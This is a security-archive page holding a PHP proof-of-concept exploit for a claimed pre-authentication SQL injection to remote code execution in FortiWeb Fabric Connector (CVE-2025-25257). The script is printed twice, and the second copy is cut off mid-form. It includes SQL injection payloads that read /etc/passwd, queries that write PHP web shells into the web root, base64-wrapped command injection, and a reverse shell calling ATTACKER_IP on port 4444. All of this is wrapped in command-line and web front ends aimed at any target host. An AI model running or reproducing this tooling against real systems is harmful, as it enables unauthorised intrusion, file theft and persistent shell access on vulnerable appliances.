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CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This proof of concept exploit demonstrates a pre-authentication remote SQL injection vulnerability in Fortinet FortiWeb Fabric Connector versions 7.0 through 7.6.x. The flaw allows unauthenticated attackers to achieve remote code execution through...
Basic Information
ID
PACKETSTORM:213211
Published
Dec 22, 2025 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : FortiWeb Fabric Connector 7.6.x Pre-authentication SQL Injection to RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://docs.fortinet.com/document/fortiweb/7.6.0/administration-guide/721945/fabric-connectors |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/210193/ & CVE-2025-25257
[+] Summary :
Critical pre-authentication SQL injection vulnerability in Fortinet FortiWeb Fabric Connector (versions 7.0 through 7.6.x)
allowing unauthenticated attackers to achieve remote code execution through malicious SQL queries in the Authorization header.
[+] POC :
php poc.php or http://127.0.0.1/poc.php
<?php
/*
* indoushka
*/
class FortiWebExploit {
private $target;
private $port;
private $ssl;
private $base_path;
private $timeout;
public function __construct($target, $port = 443, $ssl = true, $base_path = '/') {
$this->target = $target;
$this->port = $port;
$this->ssl = $ssl;
$this->base_path = rtrim($base_path, '/');
$this->timeout = 30;
}
/**
* Check if target is vulnerable
*/
public function check() {
echo "[*] Checking FortiWeb Fabric Connector vulnerability...\n";
$payloads = [
"aaa' OR '1'='1",
"aaa' UNION SELECT 1,2,3--",
"aaa' AND 1=1--"
];
foreach ($payloads as $payload) {
echo "[*] Testing payload: " . htmlspecialchars($payload) . "\n";
$response = $this->send_sqli_request($payload);
if ($response && $this->is_vulnerable_response($response)) {
echo "[+] ✓ SQL Injection successful with payload: " . htmlspecialchars($payload) . "\n";
echo "[+] Target is vulnerable to CVE-2025-25257\n";
return "vulnerable";
}
}
echo "[-] Target does not appear to be vulnerable\n";
return "safe";
}
/**
* Send SQL injection request
*/
private function send_sqli_request($sql_payload) {
$url = $this->build_url('/api/fabric/device/status');
$headers = [
"Authorization: Bearer {$sql_payload}",
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept: application/json"
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_HEADER => true
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response) {
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);
return [
'code' => $http_code,
'headers' => $headers,
'body' => $body
];
}
return false;
}
/**
* Check if response indicates vulnerability
*/
private function is_vulnerable_response($response) {
// Successful SQL injection might return different status codes or data
if ($response['code'] == 200) {
// Check for database-related content or different response patterns
if (strpos($response['body'], 'device') !== false ||
strpos($response['body'], 'status') !== false ||
strpos($response['body'], 'error') === false) {
return true;
}
}
// Sometimes SQL injection causes different error responses
if ($response['code'] == 500) {
// Database errors might indicate SQL injection
if (strpos($response['body'], 'SQL') !== false ||
strpos($response['body'], 'database') !== false ||
strpos($response['body'], 'syntax') !== false) {
return true;
}
}
return false;
}
/**
* Exploit the SQL injection for information disclosure
*/
public function exploit_sqli($technique = 'info') {
echo "[*] Exploiting SQL injection for information disclosure...\n";
$queries = [];
switch ($technique) {
case 'info':
$queries = [
"Database Version" => "aaa' UNION SELECT version(),2,3--",
"Current User" => "aaa' UNION SELECT user(),2,3--",
"Database Name" => "aaa' UNION SELECT database(),2,3--",
"Server Hostname" => "aaa' UNION SELECT @@hostname,2,3--"
];
break;
case 'tables':
$queries = [
"List Tables" => "aaa' UNION SELECT table_name,2,3 FROM information_schema.tables--",
"Users Table" => "aaa' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_name LIKE '%user%'--"
];
break;
case 'advanced':
$queries = [
"File Read" => "aaa' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--",
"System Command" => "aaa' UNION SELECT '<?php system(\$_GET[\"cmd\"]); ?>',2,3--"
];
break;
}
$results = [];
foreach ($queries as $description => $query) {
echo "[*] Executing: $description\n";
$response = $this->send_sqli_request($query);
if ($response && $response['code'] == 200) {
$results[$description] = $this->extract_data($response['body']);
echo "[+] Success: " . substr($results[$description], 0, 100) . "...\n";
} else {
$results[$description] = "Failed (HTTP {$response['code']})";
echo "[-] Failed\n";
}
sleep(1); // Rate limiting
}
return $results;
}
/**
* Extract data from response
*/
private function extract_data($body) {
// Try to parse JSON response
$json = json_decode($body, true);
if ($json !== null) {
return json_encode($json, JSON_PRETTY_PRINT);
}
// Return first 500 characters if not JSON
return substr($body, 0, 500);
}
/**
* Attempt to achieve RCE through various methods
*/
public function attempt_rce($method = 'file_write') {
echo "[*] Attempting Remote Code Execution...\n";
switch ($method) {
case 'file_write':
return $this->attempt_file_write();
case 'command_injection':
return $this->attempt_command_injection();
case 'web_shell':
return $this->attempt_web_shell_upload();
default:
echo "[-] Unknown RCE method\n";
return false;
}
}
/**
* Attempt to write files via SQL injection
*/
private function attempt_file_write() {
echo "[*] Attempting file write via SQL injection...\n";
// Try to write a simple test file
$test_content = "<?php echo 'Vulnerable: ' . date('Y-m-d H:i:s'); ?>";
$queries = [
"Write PHP Test" => "aaa' UNION SELECT '{$test_content}',2,3 INTO OUTFILE '/tmp/test_rce.php'--",
"Write Web Shell" => "aaa' UNION SELECT '<?php if(isset(\$_GET[\"cmd\"])) system(\$_GET[\"cmd\"]); ?>',2,3 INTO OUTFILE '/var/www/html/shell.php'--"
];
foreach ($queries as $desc => $query) {
echo "[*] Trying: $desc\n";
$response = $this->send_sqli_request($query);
if ($response) {
echo "[*] Response: HTTP {$response['code']}\n";
// Check if file was written
if ($this->check_file_access($desc)) {
echo "[+] File may have been written successfully\n";
return true;
}
}
}
return false;
}
/**
* Check if written files are accessible
*/
private function check_file_access($file_type) {
$test_urls = [
'/tmp/test_rce.php',
'/var/www/html/shell.php',
'/shell.php'
];
foreach ($test_urls as $test_path) {
$url = $this->build_url($test_path);
echo "[*] Checking access to: $url\n";
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "[+] ✓ File accessible: $url\n";
return true;
}
}
return false;
}
/**
* Attempt command injection
*/
private function attempt_command_injection() {
echo "[*] Attempting command injection...\n";
// Try to execute system commands via various methods
$commands = [
"id; whoami; pwd",
"uname -a",
"cat /etc/passwd"
];
foreach ($commands as $cmd) {
$encoded_cmd = base64_encode($cmd);
$query = "aaa' UNION SELECT '<?php system(base64_decode(\"{$encoded_cmd}\")); ?>',2,3--";
echo "[*] Executing: $cmd\n";
$response = $this->send_sqli_request($query);
if ($response && $this->contains_command_output($response['body'], $cmd)) {
echo "[+] Command may have executed successfully\n";
return true;
}
}
return false;
}
/**
* Check if response contains command output indicators
*/
private function contains_command_output($body, $command) {
$indicators = ['root', 'www-data', '/home', '/var/www', 'Linux'];
foreach ($indicators as $indicator) {
if (strpos($body, $indicator) !== false) {
return true;
}
}
return false;
}
/**
* Attempt web shell upload
*/
private function attempt_web_shell_upload() {
echo "[*] Attempting web shell upload...\n";
$web_shells = [
'Basic Shell' => '<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>',
'Advanced Shell' => '<?php if(isset($_POST["c"])){ echo "<pre>"; system($_POST["c"]); echo "</pre>"; } ?>',
'Reverse Shell' => '<?php $sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");?>'
];
foreach ($web_shells as $name => $shell_code) {
echo "[*] Uploading: $name\n";
$query = "aaa' UNION SELECT '{$shell_code}',2,3 INTO OUTFILE '/var/www/html/" . $this->random_text(8) . ".php'--";
$response = $this->send_sqli_request($query);
if ($response) {
echo "[*] Upload attempt completed - HTTP {$response['code']}\n";
}
}
echo "[*] Web shell upload attempts completed\n";
echo "[*] Check common web paths for uploaded shells\n";
return true;
}
/**
* Build full URL
*/
private function build_url($path) {
$protocol = $this->ssl ? 'https' : 'http';
$full_path = $this->base_path . $path;
return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
}
/**
* Generate random text
*/
private function random_text($length = 8) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$result = '';
for ($i = 0; $i < $length; $i++) {
$result .= $chars[rand(0, strlen($chars) - 1)];
}
return $result;
}
}
// CLI Interface
if (php_sapi_name() === 'cli') {
echo "
╔══════════════════════════════════════════════════════════════╗
║ FortiWeb Fabric Connector Exploit ║
║ CVE-2025-25257 ║
║ PHP Implementation ║
╚══════════════════════════════════════════════════════════════╝
\n";
$options = getopt("t:p:s:u:cae:m:", [
"target:",
"port:",
"ssl",
"uri:",
"check",
"sqli",
"rce",
"method:"
]);
$target = $options['t'] ?? $options['target'] ?? null;
$port = $options['p'] ?? $options['port'] ?? 443;
$ssl = isset($options['s']) || isset($options['ssl']);
$base_uri = $options['u'] ?? $options['uri'] ?? '/';
$check_only = isset($options['c']) || isset($options['check']);
$sqli_only = isset($options['a']) || isset($options['sqli']);
$rce_only = isset($options['e']) || isset($options['rce']);
$method = $options['m'] ?? $options['method'] ?? 'file_write';
if (!$target) {
echo "Usage: php fortiweb_exploit.php [options]\n";
echo "Options:\n";
echo " -t, --target Target host (required)\n";
echo " -p, --port Target port (default: 443)\n";
echo " -s, --ssl Use SSL (default: true)\n";
echo " -u, --uri Base URI path (default: /)\n";
echo " -c, --check Check only for vulnerability\n";
echo " -a, --sqli Perform SQL injection information disclosure\n";
echo " -e, --rce Attempt Remote Code Execution\n";
echo " -m, --method RCE method: file_write, command_injection, web_shell (default: file_write)\n";
echo "\nExamples:\n";
echo " php fortiweb_exploit.php -t 192.168.1.100 -c\n";
echo " php fortiweb_exploit.php -t fortiweb.company.com -a\n";
echo " php fortiweb_exploit.php -t 10.0.0.5 -e -m web_shell\n";
exit(1);
}
$exploit = new FortiWebExploit($target, $port, $ssl, $base_uri);
if ($check_only) {
$result = $exploit->check();
echo "\n[*] Result: {$result}\n";
} elseif ($sqli_only) {
$results = $exploit->exploit_sqli('info');
echo "\n[*] SQL Injection Results:\n";
foreach ($results as $desc => $result) {
echo "{$desc}:\n{$result}\n" . str_repeat("-", 50) . "\n";
}
} elseif ($rce_only) {
if ($exploit->attempt_rce($method)) {
echo "[+] RCE attempt completed - check for success indicators\n";
} else {
echo "[-] RCE attempt failed\n";
}
} else {
// Full exploitation chain
$result = $exploit->check();
if ($result === "vulnerable") {
echo "\n[*] Proceeding with exploitation...\n";
$exploit->exploit_sqli('info');
$exploit->attempt_rce($method);
}
}
} else {
// Web Interface
$action = $_POST['action'] ?? '';
if ($action === 'check' || $action === 'sqli' || $action === 'rce') {
$target = $_POST['target'] ?? '';
$port = $_POST['port'] ?? 443;
$ssl = isset($_POST['ssl']);
$base_uri = $_POST['uri'] ?? '/';
$sqli_technique = $_POST['sqli_technique'] ?? 'info';
$rce_method = $_POST['rce_method'] ?? 'file_write';
if (empty($target)) {
echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
} else {
$exploit = new FortiWebExploit($target, $port, $ssl, $base_uri);
ob_start();
if ($action === 'check') {
$exploit->check();
} elseif ($action === 'sqli') {
$results = $exploit->exploit_sqli($sqli_technique);
echo "\n[*] SQL Injection Results:\n";
foreach ($results as $desc => $result) {
echo "{$desc}:\n{$result}\n" . str_repeat("-", 50) . "\n";
}
} elseif ($action === 'rce') {
$exploit->attempt_rce($rce_method);
}
$output = ob_get_clean();
echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
}
echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
} else {
// Display the form
echo '<!DOCTYPE html>
<html>
<head>
<title>FortiWeb Fabric Connector Exploit - CVE-2025-25257</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 {
color: #333;
border-bottom: 2px solid #007cba;
padding-bottom: 10px;
}
h3 {
color: #666;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 8px;
font-weight: bold;
color: #333;
}
input[type="text"], select {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
box-sizing: border-box;
font-size: 14px;
}
.checkbox-group {
display: flex;
align-items: center;
gap: 10px;
}
button {
background: #007cba;
color: white;
padding: 12px 25px;
border: none;
border-radius: 4px;
cursor: pointer;
margin-right: 10px;
font-size: 16px;
transition: background 0.3s;
}
button:hover {
background: #005a87;
}
.danger {
background: #dc3545;
}
.danger:hover {
background: #c82333;
}
.info {
background: #17a2b8;
}
.info:hover {
background: #138496;
}
.warning-box {
background: #fff3cd;
border: 1px solid #ffeaa7;
color: #856404;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
.info-box {
background: #d1ecf1;
border: 1px solid #bee5eb;
color: #0c5460;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
</style>
</head>
<body>
<div class="container">
<h1>FortiWeb Fabric Connector Exploit</h1>
<h3>CVE-2025-25257 - Pre-authentication SQL Injection to RCE</h3>
<div class="warning-box">
<strong>⚠️ Educational Use Only:</strong> This tool demonstrates a critical vulnerability in FortiWeb Fabric Connector.
Use only on systems you own or have explicit permission to test.
</div>
<form method="post">
<div class="form-group">
<label for="target">Target Host:</label>
<input type="text" id="target" name="target" placeholder="192.168.1.100 or fortiweb.company.com" required>
</div>
<div class="form-group">
<label for="port">Port:</label>
<input type="text" id="port" name="port" value="443">
</div>
<div class="form-group">
<label for="uri">Base URI:</label>
<input type="text" id="uri" name="uri" value="/">
</div>
<div class="form-group">
<div class="checkbox-group">
<input type="checkbox" id="ssl" name="ssl" checked>
<label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
</div>
</div>
<div class="form-group">
<label for="sqli_technique">SQL Injection Technique:</label>
<select id="sqli_technique" name="sqli_technique">
<option value="info">Information Disclosure</option>
<option value="tables">Database Tables</option>
<option value="advanced">Advanced Queries</option>
</select>
</div>
<div class="form-group">
<label for="rce_method">RCE Method:</label>
<select id="rce_method" name="rce_method">
<option value="file_write">File Write</option>
<option value="command_injection">Command Injection</option>
<option value="web_shell">Web Shell Upload</option>
</select>
</div>
<button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
<button type="submit" name="action" value="sqli" class="info">SQL Injection</button>
<button type="submit" name="action" value="rce" class="danger">Attempt RCE</button>
</form>
<div class="info-box">
<h3>About CVE-2025-25257:</h3>
<p><strong>Vulnerability:</strong> Pre-authentication SQL Injection</p>
<p><strong>Affected Versions:</strong> FortiWeb Fabric Connector 7.0 through 7.6.x</p>
<p><strong>Endpoint:</strong> /api/fabric/device/status</p>
<p><strong>Parameter:</strong> Authorization header (Bearer token)</p>
<p><strong>Impact:</strong> Remote Code Execution via SQL injection</p>
<p><strong>Exploit Chain:</strong> SQL Injection → Data Extraction → File Write → RCE</p>
</div>
</div>
</body>
</html>';
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : FortiWeb Fabric Connector 7.6.x Pre-authentication SQL Injection to RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://docs.fortinet.com/document/fortiweb/7.6.0/administration-guide/721945/fabric-connectors |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/210193/ & CVE-2025-25257
[+] Summary :
Critical pre-authentication SQL injection vulnerability in Fortinet FortiWeb Fabric Connector (versions 7.0 through 7.6.x)
allowing unauthenticated attackers to achieve remote code execution through malicious SQL queries in the Authorization header.
[+] POC :
php poc.php or http://127.0.0.1/poc.php
<?php
/*
* indoushka
*/
class FortiWebExploit {
private $target;
private $port;
private $ssl;
private $base_path;
private $timeout;
public function __construct($target, $port = 443, $ssl = true, $base_path = '/') {
$this->target = $target;
$this->port = $port;
$this->ssl = $ssl;
$this->base_path = rtrim($base_path, '/');
$this->timeout = 30;
}
/**
* Check if target is vulnerable
*/
public function check() {
echo "[*] Checking FortiWeb Fabric Connector vulnerability...\n";
$payloads = [
"aaa' OR '1'='1",
"aaa' UNION SELECT 1,2,3--",
"aaa' AND 1=1--"
];
foreach ($payloads as $payload) {
echo "[*] Testing payload: " . htmlspecialchars($payload) . "\n";
$response = $this->send_sqli_request($payload);
if ($response && $this->is_vulnerable_response($response)) {
echo "[+] ✓ SQL Injection successful with payload: " . htmlspecialchars($payload) . "\n";
echo "[+] Target is vulnerable to CVE-2025-25257\n";
return "vulnerable";
}
}
echo "[-] Target does not appear to be vulnerable\n";
return "safe";
}
/**
* Send SQL injection request
*/
private function send_sqli_request($sql_payload) {
$url = $this->build_url('/api/fabric/device/status');
$headers = [
"Authorization: Bearer {$sql_payload}",
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept: application/json"
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_HEADER => true
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response) {
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);
return [
'code' => $http_code,
'headers' => $headers,
'body' => $body
];
}
return false;
}
/**
* Check if response indicates vulnerability
*/
private function is_vulnerable_response($response) {
// Successful SQL injection might return different status codes or data
if ($response['code'] == 200) {
// Check for database-related content or different response patterns
if (strpos($response['body'], 'device') !== false ||
strpos($response['body'], 'status') !== false ||
strpos($response['body'], 'error') === false) {
return true;
}
}
// Sometimes SQL injection causes different error responses
if ($response['code'] == 500) {
// Database errors might indicate SQL injection
if (strpos($response['body'], 'SQL') !== false ||
strpos($response['body'], 'database') !== false ||
strpos($response['body'], 'syntax') !== false) {
return true;
}
}
return false;
}
/**
* Exploit the SQL injection for information disclosure
*/
public function exploit_sqli($technique = 'info') {
echo "[*] Exploiting SQL injection for information disclosure...\n";
$queries = [];
switch ($technique) {
case 'info':
$queries = [
"Database Version" => "aaa' UNION SELECT version(),2,3--",
"Current User" => "aaa' UNION SELECT user(),2,3--",
"Database Name" => "aaa' UNION SELECT database(),2,3--",
"Server Hostname" => "aaa' UNION SELECT @@hostname,2,3--"
];
break;
case 'tables':
$queries = [
"List Tables" => "aaa' UNION SELECT table_name,2,3 FROM information_schema.tables--",
"Users Table" => "aaa' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_name LIKE '%user%'--"
];
break;
case 'advanced':
$queries = [
"File Read" => "aaa' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--",
"System Command" => "aaa' UNION SELECT '<?php system(\$_GET[\"cmd\"]); ?>',2,3--"
];
break;
}
$results = [];
foreach ($queries as $description => $query) {
echo "[*] Executing: $description\n";
$response = $this->send_sqli_request($query);
if ($response && $response['code'] == 200) {
$results[$description] = $this->extract_data($response['body']);
echo "[+] Success: " . substr($results[$description], 0, 100) . "...\n";
} else {
$results[$description] = "Failed (HTTP {$response['code']})";
echo "[-] Failed\n";
}
sleep(1); // Rate limiting
}
return $results;
}
/**
* Extract data from response
*/
private function extract_data($body) {
// Try to parse JSON response
$json = json_decode($body, true);
if ($json !== null) {
return json_encode($json, JSON_PRETTY_PRINT);
}
// Return first 500 characters if not JSON
return substr($body, 0, 500);
}
/**
* Attempt to achieve RCE through various methods
*/
public function attempt_rce($method = 'file_write') {
echo "[*] Attempting Remote Code Execution...\n";
switch ($method) {
case 'file_write':
return $this->attempt_file_write();
case 'command_injection':
return $this->attempt_command_injection();
case 'web_shell':
return $this->attempt_web_shell_upload();
default:
echo "[-] Unknown RCE method\n";
return false;
}
}
/**
* Attempt to write files via SQL injection
*/
private function attempt_file_write() {
echo "[*] Attempting file write via SQL injection...\n";
// Try to write a simple test file
$test_content = "<?php echo 'Vulnerable: ' . date('Y-m-d H:i:s'); ?>";
$queries = [
"Write PHP Test" => "aaa' UNION SELECT '{$test_content}',2,3 INTO OUTFILE '/tmp/test_rce.php'--",
"Write Web Shell" => "aaa' UNION SELECT '<?php if(isset(\$_GET[\"cmd\"])) system(\$_GET[\"cmd\"]); ?>',2,3 INTO OUTFILE '/var/www/html/shell.php'--"
];
foreach ($queries as $desc => $query) {
echo "[*] Trying: $desc\n";
$response = $this->send_sqli_request($query);
if ($response) {
echo "[*] Response: HTTP {$response['code']}\n";
// Check if file was written
if ($this->check_file_access($desc)) {
echo "[+] File may have been written successfully\n";
return true;
}
}
}
return false;
}
/**
* Check if written files are accessible
*/
private function check_file_access($file_type) {
$test_urls = [
'/tmp/test_rce.php',
'/var/www/html/shell.php',
'/shell.php'
];
foreach ($test_urls as $test_path) {
$url = $this->build_url($test_path);
echo "[*] Checking access to: $url\n";
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "[+] ✓ File accessible: $url\n";
return true;
}
}
return false;
}
/**
* Attempt command injection
*/
private function attempt_command_injection() {
echo "[*] Attempting command injection...\n";
// Try to execute system commands via various methods
$commands = [
"id; whoami; pwd",
"uname -a",
"cat /etc/passwd"
];
foreach ($commands as $cmd) {
$encoded_cmd = base64_encode($cmd);
$query = "aaa' UNION SELECT '<?php system(base64_decode(\"{$encoded_cmd}\")); ?>',2,3--";
echo "[*] Executing: $cmd\n";
$response = $this->send_sqli_request($query);
if ($response && $this->contains_command_output($response['body'], $cmd)) {
echo "[+] Command may have executed successfully\n";
return true;
}
}
return false;
}
/**
* Check if response contains command output indicators
*/
private function contains_command_output($body, $command) {
$indicators = ['root', 'www-data', '/home', '/var/www', 'Linux'];
foreach ($indicators as $indicator) {
if (strpos($body, $indicator) !== false) {
return true;
}
}
return false;
}
/**
* Attempt web shell upload
*/
private function attempt_web_shell_upload() {
echo "[*] Attempting web shell upload...\n";
$web_shells = [
'Basic Shell' => '<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>',
'Advanced Shell' => '<?php if(isset($_POST["c"])){ echo "<pre>"; system($_POST["c"]); echo "</pre>"; } ?>',
'Reverse Shell' => '<?php $sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");?>'
];
foreach ($web_shells as $name => $shell_code) {
echo "[*] Uploading: $name\n";
$query = "aaa' UNION SELECT '{$shell_code}',2,3 INTO OUTFILE '/var/www/html/" . $this->random_text(8) . ".php'--";
$response = $this->send_sqli_request($query);
if ($response) {
echo "[*] Upload attempt completed - HTTP {$response['code']}\n";
}
}
echo "[*] Web shell upload attempts completed\n";
echo "[*] Check common web paths for uploaded shells\n";
return true;
}
/**
* Build full URL
*/
private function build_url($path) {
$protocol = $this->ssl ? 'https' : 'http';
$full_path = $this->base_path . $path;
return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
}
/**
* Generate random text
*/
private function random_text($length = 8) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$result = '';
for ($i = 0; $i < $length; $i++) {
$result .= $chars[rand(0, strlen($chars) - 1)];
}
return $result;
}
}
// CLI Interface
if (php_sapi_name() === 'cli') {
echo "
╔══════════════════════════════════════════════════════════════╗
║ FortiWeb Fabric Connector Exploit ║
║ CVE-2025-25257 ║
║ PHP Implementation ║
╚══════════════════════════════════════════════════════════════╝
\n";
$options = getopt("t:p:s:u:cae:m:", [
"target:",
"port:",
"ssl",
"uri:",
"check",
"sqli",
"rce",
"method:"
]);
$target = $options['t'] ?? $options['target'] ?? null;
$port = $options['p'] ?? $options['port'] ?? 443;
$ssl = isset($options['s']) || isset($options['ssl']);
$base_uri = $options['u'] ?? $options['uri'] ?? '/';
$check_only = isset($options['c']) || isset($options['check']);
$sqli_only = isset($options['a']) || isset($options['sqli']);
$rce_only = isset($options['e']) || isset($options['rce']);
$method = $options['m'] ?? $options['method'] ?? 'file_write';
if (!$target) {
echo "Usage: php fortiweb_exploit.php [options]\n";
echo "Options:\n";
echo " -t, --target Target host (required)\n";
echo " -p, --port Target port (default: 443)\n";
echo " -s, --ssl Use SSL (default: true)\n";
echo " -u, --uri Base URI path (default: /)\n";
echo " -c, --check Check only for vulnerability\n";
echo " -a, --sqli Perform SQL injection information disclosure\n";
echo " -e, --rce Attempt Remote Code Execution\n";
echo " -m, --method RCE method: file_write, command_injection, web_shell (default: file_write)\n";
echo "\nExamples:\n";
echo " php fortiweb_exploit.php -t 192.168.1.100 -c\n";
echo " php fortiweb_exploit.php -t fortiweb.company.com -a\n";
echo " php fortiweb_exploit.php -t 10.0.0.5 -e -m web_shell\n";
exit(1);
}
$exploit = new FortiWebExploit($target, $port, $ssl, $base_uri);
if ($check_only) {
$result = $exploit->check();
echo "\n[*] Result: {$result}\n";
} elseif ($sqli_only) {
$results = $exploit->exploit_sqli('info');
echo "\n[*] SQL Injection Results:\n";
foreach ($results as $desc => $result) {
echo "{$desc}:\n{$result}\n" . str_repeat("-", 50) . "\n";
}
} elseif ($rce_only) {
if ($exploit->attempt_rce($method)) {
echo "[+] RCE attempt completed - check for success indicators\n";
} else {
echo "[-] RCE attempt failed\n";
}
} else {
// Full exploitation chain
$result = $exploit->check();
if ($result === "vulnerable") {
echo "\n[*] Proceeding with exploitation...\n";
$exploit->exploit_sqli('info');
$exploit->attempt_rce($method);
}
}
} else {
// Web Interface
$action = $_POST['action'] ?? '';
if ($action === 'check' || $action === 'sqli' || $action === 'rce') {
$target = $_POST['target'] ?? '';
$port = $_POST['port'] ?? 443;
$ssl = isset($_POST['ssl']);
$base_uri = $_POST['uri'] ?? '/';
$sqli_technique = $_POST['sqli_technique'] ?? 'info';
$rce_method = $_POST['rce_method'] ?? 'file_write';
if (empty($target)) {
echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
} else {
$exploit = new FortiWebExploit($target, $port, $ssl, $base_uri);
ob_start();
if ($action === 'check') {
$exploit->check();
} elseif ($action === 'sqli') {
$results = $exploit->exploit_sqli($sqli_technique);
echo "\n[*] SQL Injection Results:\n";
foreach ($results as $desc => $result) {
echo "{$desc}:\n{$result}\n" . str_repeat("-", 50) . "\n";
}
} elseif ($action === 'rce') {
$exploit->attempt_rce($rce_method);
}
$output = ob_get_clean();
echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
}
echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
} else {
// Display the form
echo '<!DOCTYPE html>
<html>
<head>
<title>FortiWeb Fabric Connector Exploit - CVE-2025-25257</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 {
color: #333;
border-bottom: 2px solid #007cba;
padding-bottom: 10px;
}
h3 {
color: #666;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 8px;
font-weight: bold;
color: #333;
}
input[type="text"], select {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
box-sizing: border-box;
font-size: 14px;
}
.checkbox-group {
display: flex;
align-items: center;
gap: 10px;
}
button {
background: #007cba;
color: white;
padding: 12px 25px;
border: none;
border-radius: 4px;
cursor: pointer;
margin-right: 10px;
font-size: 16px;
transition: background 0.3s;
}
button:hover {
background: #005a87;
}
.danger {
background: #dc3545;
}
.danger:hover {
background: #c82333;
}
.info {
background: #17a2b8;
}
.info:hover {
background: #138496;
}
.warning-box {
background: #fff3cd;
border: 1px solid #ffeaa7;
color: #856404;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
.info-box {
background: #d1ecf1;
border: 1px solid #bee5eb;
color: #0c5460;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
</style>
</head>
<body>
<div class="container">
<h1>FortiWeb Fabric Connector Exploit</h1>
